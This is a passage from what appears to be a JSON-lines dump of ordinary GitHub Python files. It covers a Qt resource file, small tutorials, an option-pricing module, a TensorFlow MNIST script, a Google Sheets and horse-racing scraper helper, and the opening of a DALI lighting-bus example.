\x18\\x03\\x16\\xd0\\x82\\x68\\x01\\x00\\x02\\\n\\xe9\\x14\\x0e\\x68\\x3b\\x86\\x00\\x00\\xf6\\x44\\x02\\x28\\x30\\x0f\\xbe\\x83\\\n\\x86\\xa0\\x32\\x64\\x5b\\x34\\x78\\x54\\xda\\x27\\xe9\\x4d\\x4d\\x95\\x9f\\xa5\\\n\\xb2\\x87\\x4a\\x10\\x07\\x7b\\xa4\\x0e\\x16\\x84\\xc8\\x1f\\x52\\x52\\x16\\xaa\\\n\\xc0\\x32\\x56\\x03\\x4b\\x09\\xbf\\x12\\x02\\x22\\x22\\x22\\x22\\x22\\x22\\x22\\\n\\x22\\x27\\x18\\x44\\xec\\xf8\\x63\\x18\\xc6\\x31\\x8c\\x67\\x33\\xe5\\x39\\x47\\\n\\xc2\\x81\\xa8\\x90\\xb4\\x92\\x03\\x23\\xa2\\x05\\x04\\xb4\\x4d\\x8d\\x28\\x49\\\n\\x2a\\x31\\x31\\xaa\\xa0\\xc5\\xf1\\x4d\\x8b\\x62\\x70\\x33\\xd6\\x64\\xe7\\xb5\\\n\\x36\\x8d\\x8a\\x07\\xaa\\x6c\\xac\\x7d\\xa2\\x01\\x9d\\x27\\x0f\\xda\\x30\\x51\\\n\\xc0\\xba\\x27\\x61\\xf0\\xac\\x26\\x20\\x85\\xfa\\x47\\xf7\\x39\\x45\\xa9\\xd9\\\n\\x84\\x86\\xe9\\x05\\xb0\\xa4\\x88\\xc1\\x3d\\x43\\x00\\x44\\x26\\x8c\\x98\\x2b\\\n\\x35\\x57\\x15\\x5c\\x55\\x71\\x54\\xfc\\x54\\xfc\\xd5\\xc0\\x57\\x1d\\x4d\\x54\\\n\\x4a\\xd0\\x0d\\x63\\xa2\\x36\\x3f\\x22\\x06\\x19\\xfa\\x41\\x01\\x6e\\xa8\\x68\\\n\\x07\\x91\\x29\\x4f\\x6a\\xa5\\xa0\\xc0\\x31\\x1d\\x62\\x28\\x18\\xb8\\xd4\\x03\\\n\\xc6\\xa8\\x6e\\x40\\xca\\x4c\\xa6\\x5b\\x14\\x7d\\xa9\\xb4\\x47\\xdd\\x66\\xd2\\\n\\xe5\\xc6\\xae\\x25\\xd9\\x71\\x78\\xb8\\x97\\x12\\x6e\\x4a\\xec\\xbb\\x26\\xe7\\\n\\xf3\\xe2\\x20\\x19\\xd6\\x37\\x87\\xba\\x04\\x31\\xab\\x23\\xc2\\x00\\x60\\xd4\\\n\\x73\\xdd\\x26\\x41\\x01\\xba\\x99\\x6c\\x53\\x2c\\x8b\\x66\\x88\\xfb\\xd7\\x91\\\n\\x50\\x4b\\xf1\\x1d\\x97\\x65\\xd9\\x75\\x0b\\xb2\\xbb\\x22\\x08\\x9d\\x6e\\x5c\\\n\\x6a\\x17\\x07\\x58\\x20\\x19\\x57\\x2a\\x6f\\x0f\\x6b\\x22\\xac\\x5f\\x14\\xde\\\n\\x1e\\xe8\\x08\\x5d\\x48\\xfb\\x4c\\x1a\\x80\\x0a\\x48\\xf6\\xb7\\x29\\x35\\x26\\\n\\xa4\\xd4\\xde\\x1e\\xf4\\x10\\x47\\x22\\xad\\xc9\\x4f\\xc8\\x5c\\x4b\\x89\\x71\\\n\\x2e\\x25\\xc5\\xa3\\x89\\x71\\x2e\\x25\\xc4\\xb8\\x97\\x12\\xe2\\xd6\\xe2\\xe8\\\n\\xe1\\xfb\\xf0\\x00\\xe5\\xc6\\xb1\\x90\\x88\\x22\\x74\\x90\\x0c\\xd7\\x78\\x7b\\\n\\x59\\x15\\xc8\\xa3\\x16\\x34\\x08\\x66\\x81\\xb9\\x3c\\x6a\\x4c\\xb6\\x54\\x9a\\\n\\x93\\x51\\x8b\\xe3\\xc2\\x38\\x97\\x12\\x6e\\x4a\\xec\\xbb\\x2e\\xcb\\xb2\\xec\\\n\\xbb\\x2e\\xcb\\xb2\\x6e\\x4a\\x6e\\x4a\\x6e\\x4a\\x6e\\x4a\\x6e\\x4a\\xec\\xbb\\\n\\x2e\\x35\\xb0\\x53\\x71\\xf9\\x4d\\xc9\\x44\\xb5\\x00\\x62\\xe3\\x50\\x3b\\x4e\\\n\\xf0\\xf7\\x4c\\x8d\\x4e\\x5c\\x2c\\x8a\\x6f\\x0f\\x69\\x8b\\x8a\\x10\\x0c\\xd4\\\n\\x31\\x70\\x88\\x5d\\x40\\xdd\\x64\\x2c\\x88\\x37\\x53\\x28\\xfb\\xa4\\xd5\\x62\\\n\\xe2\\x99\\x15\\xe2\\x5d\\x97\\x17\\x83\\x89\\x71\\x2e\\x35\\xd9\\x76\\x5d\\x97\\\n\\x65\\xd9\\x76\\x5d\\x97\\x65\\xd9\\x76\\x5c\\x54\\xe2\\x4e\\x45\\x46\\x47\\xe0\\\n\\x00\\x37\\x87\\xba\\x64\\x78\\x46\\xf0\\xf6\\x9c\\x8a\\x39\\x71\\x4d\\xe1\\xee\\\n\\x81\\xcb\\x8a\\x5c\\x14\\xc5\\xc2\\x07\\x24\\x52\\x07\\xaa\\x6c\\xd4\\x3b\\xfe\\\n\\x00\\x00\\xab\\x72\\x53\\x72\\x53\\x72\\x53\\x72\\x75\\x90\\x01\\xa4\\x5e\\xb3\\\n\\x56\\x6d\\x73\\x6a\\x10\\x0b\\xd2\\x6d\\x53\\x57\\x62\\x1b\\x3d\\x27\\xea\\x84\\\n\\x3d\\x8d\\x26\\x5b\\x14\\xca\\x65\\x32\\x9a\\x9f\\xff\\xd9\\\n\"\n\nqt_resource_name = b\"\\\n\\x00\\x09\\\n\\x0c\\x78\\x54\\x88\\\n\\x00\\x6e\\\n\\x00\\x65\\x00\\x77\\x00\\x50\\x00\\x72\\x00\\x65\\x00\\x66\\x00\\x69\\x00\\x78\\\n\\x00\\x0e\\\n\\x03\\xf0\\x78\\x47\\\n\\x00\\x53\\\n\\x00\\x65\\x00\\x6e\\x00\\x64\\x00\\x42\\x00\\x75\\x00\\x74\\x00\\x74\\x00\\x6f\\x00\\x6e\\x00\\x2e\\x00\\x70\\x00\\x6e\\x00\\x67\\\n\\x00\\x0a\\\n\\x0b\\x68\\x3a\\x27\\\n\\x00\\x64\\\n\\x00\\x6f\\x00\\x63\\x00\\x74\\x00\\x6f\\x00\\x72\\x00\\x2e\\x00\\x6a\\x00\\x70\\x00\\x67\\\n\"\n\nqt_resource_struct_v1 = b\"\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\\n\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x3a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x34\\xac\\\n\"\n\nqt_resource_struct_v2 = b\"\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x01\\x7d\\xdd\\xa7\\x11\\x5e\\\n\\x00\\x00\\x00\\x3a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x34\\xac\\\n\\x00\\x00\\x01\\x7d\\xdd\\xa7\\x11\\x5f\\\n\"\n\nqt_version = [int(v) for v in QtCore.qVersion().split('.')]\nif qt_version < [5, 8, 0]:\n rcc_version = 1\n qt_resource_struct = qt_resource_struct_v1\nelse:\n rcc_version = 2\n qt_resource_struct = qt_resource_struct_v2\n\ndef qInitResources():\n QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\ndef qCleanupResources():\n QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\nqInitResources()\n","repo_name":"meeranahmed/Network_Socket_Programming","sub_path":"images_rc.py","file_name":"images_rc.py","file_ext":"py","file_size_in_byte":249461,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35787750892","text":"'''Ключевое слово def вводит определение функции.\nЗа ним должно следовать имя функции и в круглых скобках список формальных параметров. \nВыражения, которые формируют тело функции, начинаются на следующей строке и должны быть с отступом.'''\n\ndef fib(n): # выводит ряд Фибоначчи до n\n \"\"\"Печатает ряд Фибоначчи вплоть до n.\"\"\"\n a, b = 0, 1\n while a < n: # пока а < n (\n print(a, end=' ') # печатать число \"а\" через пробел.\n a, b = b, a+b # присваиваем числу \"а\" значение числа \"b\", и числу \"b\" сумму a+b. было a,b=0,1 стало 1,1. Следующее будет 1,2, затем 2,3, далее 3,5 (b=a+b=2+3=5)\n print()\n# Теперь вызовем функцию, которую мы только что определили:\nfib(3000)\n\nfib\nf = fib\nf(100)\n","repo_name":"demptdmf/python_lesson_3","sub_path":"def.py","file_name":"def.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26268666721","text":"n=int(input(\"Enter a number:\"))\r\nsq=n*n\r\nco=0\r\nwhile(n>0):\r\n if(n%10!=sq%10):\r\n print(\"Not Automorphic\")\r\n co=1\r\n break\r\n n=n//10\r\n sq=sq//10\r\n\r\nif(co==0):\r\n print(\"Automorphic\")\r\n","repo_name":"aabhasgaur/Python-Basic-Programs","sub_path":"atmospheric_number.py","file_name":"atmospheric_number.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15299067239","text":"\"\"\"\nblack-schole-merton Model\n\"\"\"\n\nimport numpy as np\n\nfrom scipy import stats\n\ndef cal_option_price(s, k ,t, r, sigma, option_type):\n \"\"\"\n Calculate Premium for European Option\n\n Parameters\n ----------\n s: float\n Spot price\n k: float\n Strike price\n t: float\n Time to maturity in unit\n sigma: float\n Volatility\n option_type: str\n Option type: call put\n \n Return\n ------\n Option Premium\n\n \"\"\"\n d1 = (np.log(s / k) + (r + 0.5 * sigma ** 2) * t)/(sigma * np.sqrt(t))\n d2 = (np.log(s / k) + (r - 0.5 * sigma ** 2) * t)/(sigma * np.sqrt(t))\n if option_type in ('call', 'c', 'C', 1):\n return s * stats.norm.cdf(d1, 0., 1.) - k * np.exp(-r * t ) * stats.norm.cdf(d2, 0., 1)\n elif option_type in ('put', 'p', 'P', -1):\n return -s * (1 - stats.norm.cdf(d1, 0., 1.)) + k * np.exp(-r * t) * (1 - stats.norm.cdf(d2, 0., 1))\n else:\n raise ValueError(\"Only Support call and put\")\n\n\ndef cal_implied_volatility(s, k, t, r, option_value, option_type, high=5., low=0.00001, maxiter=10000, tol=0.000001):\n \"\"\"\n Calculate Implied volatility for European Option with BSM model\n \n Bisection search is used to solve the equation\n\n Parameters\n ----------\n option_type: str\n Option Type: call put\n high: float\n Max possible implied volatility\n low: float\n Min possible implied volatility\n maxiter: int\n Max Iteration Number\n tol: float\n Tolerance of Diff in Option price\n\n Returns\n -------\n Implied volatility\n\n \"\"\"\n # check outlier\n upper_bound = cal_option_price(s, k, t, r, high, option_type)\n lower_bound = cal_option_price(s, k, t, r, low, option_type)\n if not (lower_bound <= option_value <= upper_bound):\n return np.nan\n\n for i in range(maxiter):\n mid = (high + low) / 2\n if mid < 0.00001:\n mid = 0.00001\n estimate = cal_option_price(s, k, t, r, mid, option_type)\n if abs(estimate - option_value) < tol:\n break\n elif estimate > option_value:\n high = mid\n elif estimate < option_value:\n low = mid\n if abs(estimate - option_value) < tol:\n return mid\n else:\n return np.nan\n","repo_name":"SkyBlueRW/VIX","sub_path":"vix/bsm.py","file_name":"bsm.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9247403899","text":"import tensorflow as tf\nimport tensorflow_datasets as tfds\n\n\ndef train_input_fn():\n ds = tfds.load('mnist', split=tfds.Split.TRAIN)\n ds = ds.map(lambda x: (tf.cast(x['image'], tf.float32)/255., x['label']))\n ds = ds.repeat().shuffle(1024).batch(32)\n ds = ds.prefetch(tf.data.experimental.AUTOTUNE)\n return ds\n\n\ndef eval_input_fn():\n ds = tfds.load('mnist', split=tfds.Split.TEST)\n ds = ds.map(lambda x: (tf.cast(x['image'], tf.float32)/255., x['label']))\n ds = ds.repeat().batch(100)\n ds = ds.prefetch(tf.data.experimental.AUTOTUNE)\n return ds\n\n\ndef create_model():\n\n model = tf.keras.Sequential([\n tf.keras.layers.Conv2D(32, (3, 3), activation='relu', input_shape=(28, 28, 1)),\n tf.keras.layers.Conv2D(64, (3, 3), activation='relu'),\n tf.keras.layers.MaxPool2D(pool_size=(2, 2)),\n tf.keras.layers.Dropout(rate=0.75),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dropout(rate=0.5),\n tf.keras.layers.Dense(10, activation='softmax')\n ])\n\n model.compile(\n optimizer=tf.train.GradientDescentOptimizer(learning_rate=0.01),\n loss='sparse_categorical_crossentropy',\n # metrics=['accuracy']\n )\n\n return model\n\n\ndef main():\n model = create_model()\n\n config = tf.estimator.RunConfig(\n model_dir='./outputs',\n train_distribute=tf.distribute.MirroredStrategy(),\n )\n\n estimator = tf.keras.estimator.model_to_estimator(\n keras_model=model,\n config=config,\n )\n\n train_spec = tf.estimator.TrainSpec(\n input_fn=train_input_fn,\n max_steps=100,\n )\n eval_spec = tf.estimator.EvalSpec(\n input_fn=eval_input_fn,\n steps=100,\n )\n tf.estimator.train_and_evaluate(estimator, train_spec, eval_spec)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sfujiwara/tensorflow-examples","sub_path":"tfkeras/keras-to-estimator/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"21322092910","text":"import gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom bs4 import BeautifulSoup\nimport requests\nfrom pprint import pprint\n\nclass google_sheet_manager():\n def __init__(self, cred_json_path, worksheet_key):\n '''\n :param cred_json_path: the json path of the google cred\n :param worksheet_key: the api key of the weeksheet\n '''\n gss_scopes = ['https://spreadsheets.google.com/feeds']\n credentials = ServiceAccountCredentials.from_json_keyfile_name(cred_json_path, gss_scopes)\n gss_client = gspread.authorize(credentials)\n\n self.worksheets = gss_client.open_by_key(worksheet_key)\n\n def get_worksheet(self, sheet_index):\n target_sheet = self.worksheets.get_worksheet(sheet_index)\n return target_sheet\n\n def all_sheet_name_dict(self):\n '''\n :return: a dictionary {sheetname: index}\n '''\n self.all_sheet = {}\n sheets = self.worksheets._spreadsheets_get()['sheets']\n for sheet in sheets:\n sheet_name = sheet['properties']['title']\n sheet_index = sheet['properties']['index']\n self.all_sheet[sheet_name] = sheet_index\n\n return self.all_sheet\n\n def get_sheet_last_row_number(self, sheet_index):\n target_sheet = self.worksheets.get_worksheet(sheet_index)\n a_column = target_sheet.col_values(col=1, value_render_option='FORMULA')\n return len(a_column)\n\n def get_every_row(self, sheet_index):\n target_sheet = self.worksheets.get_worksheet(sheet_index)\n all_row_data = []\n total_row = target_sheet.row_count\n return target_sheet.get_all_values()\n\n\n\n\n\n def write_at_last_row(self, sheet_index, data):\n #get into the target sheet\n target_sheet = self.worksheets.get_worksheet(sheet_index)\n data.insert(0, [])\n #get last row number\n last_row_number = self.get_sheet_last_row_number(sheet_index= sheet_index)\n #writing the data into the sheet\n target_sheet.update('A%d'%last_row_number, data, value_input_option='USER_ENTERED')\n\n\n def update_cell(self, sheet_index, row, column, data):\n\n target_sheet = self.worksheets.get_worksheet(sheet_index)\n target_sheet.update_cell(row= row, col= column, value=data)\n\n def update_multi_cells(self,sheet_index, data):\n '''\n\n :param sheet_index:\n :param data: Cell Object from gspread.models\n :return:\n '''\n\n target_sheet = self.worksheets.get_worksheet(sheet_index)\n target_sheet.update_cells(data)\n\n def clean_and_write(self, sheet_index, data):\n '''\n :param sheet_index: the indext of the target sheet\n :param data: the data in list\n :return:\n '''\n #get into the target sheet\n target_sheet = self.worksheets.get_worksheet(sheet_index)\n #clean the existing value\n target_sheet.clear()\n #writing the data into the sheet\n target_sheet.update('A1', data, value_input_option='USER_ENTERED')\n\n\n\n\n\n\n\nimport os, sys, csv\nbase_path = sys.path[0] # obtain the path of this directory\nproject_path = os.path.abspath(os.path.join(base_path, '../'))\nsys.path.append(project_path)\nos.environ.setdefault('DJANGO_SETTINGS_MODULE','HKJC.settings')\nimport django\ndjango.setup()\n\n#from ..HKJC_database.models import Jockey_Info, Trainer_Info, Horse_Info, Match_Result, Jockey_Report\nfrom HKJC_database.models import Jockey_Info, Jockey_Report, Trainer_Info, Trainer_Report, Match_Result, Draw_statistics, Horse_Info\n#from ..HKJC_database.models import Jockey_Info, Jockey_Report\n\ndef get_list_jockey_season_report():\n season = list(set(Jockey_Report.objects.values_list('season', flat=True)))\n season.sort(reverse=True)\n current_season = season[0]\n previos_season = season[1]\n\n jockey_season_report = dict()\n all_jockey = Jockey_Report.objects.all()\n #\n for jockey in all_jockey:\n jockey_chi_name = jockey.jockey.chinese_name\n if jockey_chi_name not in jockey_season_report.keys():\n jockey_season_report[jockey_chi_name] = dict()\n jockey_season_report[jockey_chi_name]['current season'] = ['',0,0,0,0,0]\n jockey_season_report[jockey_chi_name]['previos season'] = [0,0,0,0,0]\n\n season = jockey.season\n total_rides = jockey.total_rides\n number_win = jockey.number_win\n number_second = jockey.number_second\n number_third = jockey.number_third\n number_fourth = jockey.number_fourth\n\n if season == current_season:\n weight_adv = ''\n jockey_season_report[jockey_chi_name]['current season'] = [weight_adv,\n total_rides,\n number_win,\n number_second,\n number_third,\n number_fourth]\n if season == previos_season:\n jockey_season_report[jockey_chi_name]['previos season'] = [total_rides,\n number_win,\n number_second,\n number_third,\n number_fourth]\n\n # return List\n result =sorted(jockey_season_report.items(), key=lambda item: item[1]['current season'][1], reverse=True)\n\n return result\n\ndef tarainer_coursereport(url_current_season):\n previous_url = url_current_season.replace('Current', 'Previous')\n\n trainer_report = dict()\n # Get the current season report\n trainer_current_report = requests.get(url_current_season)\n trainer_soup = BeautifulSoup(trainer_current_report.content, \"html.parser\")\n\n all_trainer_table = trainer_soup.findAll('tbody', attrs={'class': \"f_tac f_fs12\"})\n for table in all_trainer_table:\n table_trainer = table.findAll('tr')\n for trainer in table_trainer:\n try:\n trainer_name = trainer.find('a').get_text()\n except:\n continue\n\n number_game = trainer.findAll('td')[-1].get_text().strip()\n number_first = trainer.findAll('td')[1].get_text().strip()\n number_second = trainer.findAll('td')[2].get_text()\n number_third = trainer.findAll('td')[3].get_text()\n number_fourth = trainer.findAll('td')[4].get_text()\n\n if trainer_name not in trainer_report.keys():\n trainer_report[trainer_name] = dict()\n trainer_report[trainer_name]['current season'] = [0, 0, 0, 0, 0]\n trainer_report[trainer_name]['previous season'] = [0, 0, 0, 0, 0]\n\n trainer_report[trainer_name]['current season'] = [number_game, number_first, number_second, number_third, number_fourth]\n\n # Get the previos report\n trainer_current_report = requests.get(previous_url)\n trainer_soup = BeautifulSoup(trainer_current_report.content, \"html.parser\")\n\n all_trainer_table = trainer_soup.findAll('tbody', attrs={'class': \"f_tac f_fs12\"})\n\n for table in all_trainer_table:\n table_trainer = table.findAll('tr')\n for trainer in table_trainer:\n try:\n trainer_name = trainer.find('a').get_text()\n except:\n continue\n number_game = trainer.findAll('td')[-1].get_text().strip()\n number_first = trainer.findAll('td')[1].get_text().strip()\n number_second = trainer.findAll('td')[2].get_text()\n number_third = trainer.findAll('td')[3].get_text()\n number_fourth = trainer.findAll('td')[4].get_text()\n\n if trainer_name not in trainer_report.keys():\n trainer_report[trainer_name] = dict()\n trainer_report[trainer_name]['current season'] = [0, 0, 0, 0, 0]\n trainer_report[trainer_name]['previous season'] = [0, 0, 0, 0, 0]\n\n trainer_report[trainer_name]['previous season'] = [number_game, number_first, number_second, number_third, number_fourth]\n\n return trainer_report\n\ndef get_list_trainer_season_report():\n trainer_season_report = dict()\n #沙田草地\n url = 'https://racing.hkjc.com/racing/information/Chinese/Trainers/TrainerRanking.aspx/?Season=Current&View=Numbers&Racecourse=STT'\n ST_Turf = tarainer_coursereport(url)\n #沙田全天侯\n url = 'https://racing.hkjc.com/racing/information/Chinese/Trainers/TrainerRanking.aspx/?Season=Current&View=Numbers&Racecourse=STA'\n ST_Allweather = tarainer_coursereport(url)\n #跑馬地草地\n url = 'https://racing.hkjc.com/racing/information/Chinese/Trainers/TrainerRanking.aspx/?Season=Current&View=Numbers&Racecourse=HVT'\n HV_Turf = tarainer_coursereport(url)\n\n all_trainer_name = list(set(list(ST_Turf.keys()) + list(ST_Allweather.keys()) + list(HV_Turf.keys())))\n\n for trainer in all_trainer_name: #Create the return dictionary\n if trainer not in trainer_season_report.keys():\n trainer_season_report[trainer] = dict()\n trainer_season_report[trainer]['沙田草地'] = dict()\n trainer_season_report[trainer]['沙田全天侯'] = dict()\n trainer_season_report[trainer]['跑馬地草地'] = dict()\n # preset as all 0\n trainer_season_report[trainer]['沙田草地']['current season'] = [0, 0, 0, 0, 0]\n trainer_season_report[trainer]['沙田草地']['previous season'] = [0, 0, 0, 0, 0]\n trainer_season_report[trainer]['沙田全天侯']['current season'] = [0, 0, 0, 0, 0]\n trainer_season_report[trainer]['沙田全天侯']['previous season'] = [0, 0, 0, 0, 0]\n trainer_season_report[trainer]['跑馬地草地']['current season'] = [0, 0, 0, 0, 0]\n trainer_season_report[trainer]['跑馬地草地']['previous season'] = [0, 0, 0, 0, 0]\n\n def fullin_dictioray(season_report, course_dict, course_name):\n for trainer, result in course_dict.items():\n season_report[trainer][course_name] = result\n return season_report\n\n trainer_season_report = fullin_dictioray(trainer_season_report, ST_Turf, '沙田草地')\n trainer_season_report = fullin_dictioray(trainer_season_report, ST_Allweather, '沙田全天侯')\n trainer_season_report = fullin_dictioray(trainer_season_report, HV_Turf, '跑馬地草地')\n\n return trainer_season_report\n\ndef get_trainerXjockey_rate():\n # get all trainer chinese name\n all_trainer = Trainer_Info.objects.all()\n all_trainer_chi_name = [trainer.chinese_name for trainer in all_trainer]\n\n # get all jockey chinese name\n all_jockey = Jockey_Info.objects.all()\n all_jockey_chi_name = [jockey.chinese_name for jockey in all_jockey]\n\n result_dict = dict()\n\n for trainer in all_trainer:\n trainer_id = trainer.id\n trainer_chi_name = trainer.chinese_name\n\n result_dict[trainer_chi_name] = dict()\n\n for jockey in all_jockey:\n jockey_id = jockey.id\n jockey_chi_name = jockey.chinese_name\n\n result_dict[trainer_chi_name][jockey_chi_name] =dict()\n result_dict[trainer_chi_name][jockey_chi_name]['number of game'] = int()\n result_dict[trainer_chi_name][jockey_chi_name]['in place'] = [] # number_win, win_rate\n result_dict[trainer_chi_name][jockey_chi_name]['in win'] = [] # number_place, place_rate\n\n #count number of game\n number_game = len(Match_Result.objects.filter(trainer_id= trainer.id, jockey_id= jockey_id))\n result_dict[trainer_chi_name][jockey_chi_name]['number of game'] = number_game\n\n #count number of win\n number_win = len(Match_Result.objects.filter(trainer_id= trainer.id, jockey_id= jockey_id, horse_place= 1))\n if number_game == 0:\n win_rate = 0\n else:\n win_rate = number_win/number_game\n\n result_dict[trainer_chi_name][jockey_chi_name]['in win'] = [number_win, win_rate]\n\n #count number of win\n number_place = len(Match_Result.objects.filter(trainer_id= trainer.id, jockey_id= jockey_id, horse_place__in= [1,2,3]))\n if number_game == 0:\n place_rate = 0\n else:\n place_rate = number_place/number_game\n\n result_dict[trainer_chi_name][jockey_chi_name]['in place'] = [number_place, place_rate]\n\n return result_dict, all_trainer_chi_name, all_jockey_chi_name\n\nimport string\ndef col2num(col):\n num = 0\n for c in col:\n if c in string.ascii_letters:\n num = num * 26 + (ord(c.upper()) - ord('A')) + 1\n return num\n\ndef excel_column():\n from string import ascii_uppercase\n\n b_z = [letter for letter in ascii_uppercase[1:]]\n\n aa_az = ['A' + letter for letter in ascii_uppercase]\n ba_az = ['B' + letter for letter in ascii_uppercase]\n ca_az = ['C' + letter for letter in ascii_uppercase]\n da_az = ['D' + letter for letter in ascii_uppercase]\n ea_az = ['E' + letter for letter in ascii_uppercase]\n\n all_column = b_z + aa_az + ba_az + ca_az + da_az + ea_az\n\n return all_column\n\ndef get_recent_match():\n path = os.getcwd()\n project_path = os.path.dirname(path)\n csv_path = os.path.join(project_path, 'HKJC_crawler')\n csv_path = os.path.join(csv_path, 'recent_match.csv')\n\n with open(csv_path, newline='') as f:\n reader = csv.reader(f)\n data = list(reader)\n\n return data\n\ndef get_Drawstatistics():\n all_draw_data = Draw_statistics.objects.all().values()\n all_draw_data_list = []\n for data in all_draw_data:\n row_data = [data['race_place'], data['distance'], data['course'],\n data['draw'], data['number_game'],\n data['number_first'], data['number_second'], data['number_third'], data['number_fourth']]\n\n all_draw_data_list.append(row_data)\n\n return all_draw_data_list\n\ndef horse_game_result(match_date, race_number, horse_no, horse_chi_name= None):\n horse_place = 0\n win_odds = None\n place_odds = None\n if horse_chi_name != None:\n try:\n result = Match_Result.objects.get(match_id__match_date= match_date, match_id__race_number= race_number, horse_no=horse_no, horse_id__chinese_name=horse_chi_name)\n result = result.__dict__\n horse_place = int(result['horse_place'])\n win_odds = result['win_odds']\n place_odds = result['place_odds']\n except Match_Result.DoesNotExist:\n print ('No related data')\n\n return horse_place, win_odds, place_odds\n else:\n try:\n result = Match_Result.objects.get(match_id__match_date=match_date, match_id__race_number=race_number, horse_no=horse_no)\n result = result.__dict__\n horse_place = result['horse_place']\n win_odds = result['win_odds']\n place_odds = result['place_odds']\n except Match_Result.DoesNotExist:\n print('No related data')\n\n return horse_place, win_odds, place_odds\n\ndef get_horse_chi_name_from_match(match_date, race_number, horse_no):\n horse_chi_name = None\n try:\n match_result = Match_Result.objects.get(match_id__match_date=match_date, match_id__race_number=race_number, horse_no=horse_no)\n horse_id = match_result.horse_id\n except Match_Result.DoesNotExist:\n print('No related match')\n return None\n\n try:\n horse = Horse_Info.objects.get(pk= horse_id)\n except Horse_Info.DoesNotExist:\n print (horse_id)\n print('No related horse')\n return None\n\n try:\n horse_chi_name = horse.chinese_name\n except:\n pass\n\n return horse_chi_name\n\nif __name__ == '__main__':\n #pprint (get_list_trainer_season_report())\n # horse_place, win_odds = horse_game_result(match_date='2020-05-03', race_number=6, horse_no=1, horse_chi_name='理想回報')\n # print (horse_place, win_odds)\n #get_horse_chi_name_from_match(match_date='2020-05-03', race_number=6, horse_no=1)\n # result_dict, all_trainer_chi_name, all_jockey_chi_name = get_trainerXjockey_rate()\n # pprint (result_dict)\n pass","repo_name":"cfcdavidchan/HKJC","sub_path":"google_spreadsheet/helper/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":16423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31121986184","text":"'''\nInput: hello Output: ehllo\nInput:eLEPhAnt Output: AEehLnPt\n'''\n\ndef sortingAplhaVaue(data):\n sortvalues = sorted(list(data))\n lowerlst = sorted(list(data.lower()))\n caplst = []\n newdata = ''\n\n for i in sortvalues:\n if i.isupper():\n caplst.append(i)\n\n for x in lowerlst:\n if caplst.count(x.upper()) != 0:\n newdata += x.upper()\n caplst.pop(caplst.index(x.upper()))\n else:\n newdata += x\n\n return newdata\n\ndata = sortingAplhaVaue(\"eLEPhAnt\")\nprint(data)\n","repo_name":"Vegadhardik7/Python-DSA-MySQL-Dynamic-Programming-Advance-Concepts","sub_path":"ZPYHTONALGO/Tech With Tim Prac/001 Alphabet Soup.py","file_name":"001 Alphabet Soup.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25490584223","text":"\"\"\"\nasync-serial-luba.py - Example showing the usage of the LUBA driver\n\nThis example shows how to use python-dali with a Lunatone RS232 LUBA protocol\nDALI interface. LUBA is a protocol defined by Lunatone for use in their\ndevices, they publish the specification on their website:\nhttps://www.lunatone.com/wp-content/uploads/2021/04/LUBA_Protocol_EN.pdf\n\nIt is assumed that an appropriate RS232 interface device is connected between\nthe machine running python-dali and the Lunatone hardware, in writing this\nexample an FTDI USB interface was used but any other compatible device will\nalso work.\n\nThe example scans the DALI bus for any DALI 24-bit \"control devices\",\ni.e. things like buttons, motion sensors, etc. (for now python-dali only\nsupports push buttons, other types will be discovered but their event\nmessages will be \"unknown\"); then for DALI 16-bit \"control gear\", i.e. lamps\netc. Various bits of information from the devices is printed out, showing how\nto use things like the memory banks and a selected set of useful queries.\n\n\n\nThis file is part of python-dali.\n\npython-dali is free software: you can redistribute it and/or modify it under\nthe terms of the GNU Lesser General Public License as published by the Free\nSoftware Foundation, either version 3 of the License, or (at your option) any\nlater version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\ndetails.\n\nYou should have received a copy of the GNU Lesser General Public License\nalong with this program. If not, see <https://www.gnu.org/licenses/>.\n\"\"\"\nimport asyncio\nimport logging\n\nfrom dali.address import DeviceShort, GearBroadcast, GearShort, InstanceNumber\nfrom dali.command import NumericResponse\nfrom dali.device import light, occupancy, pushbutton\nfrom dali.device.general import (\n DTR0,\n 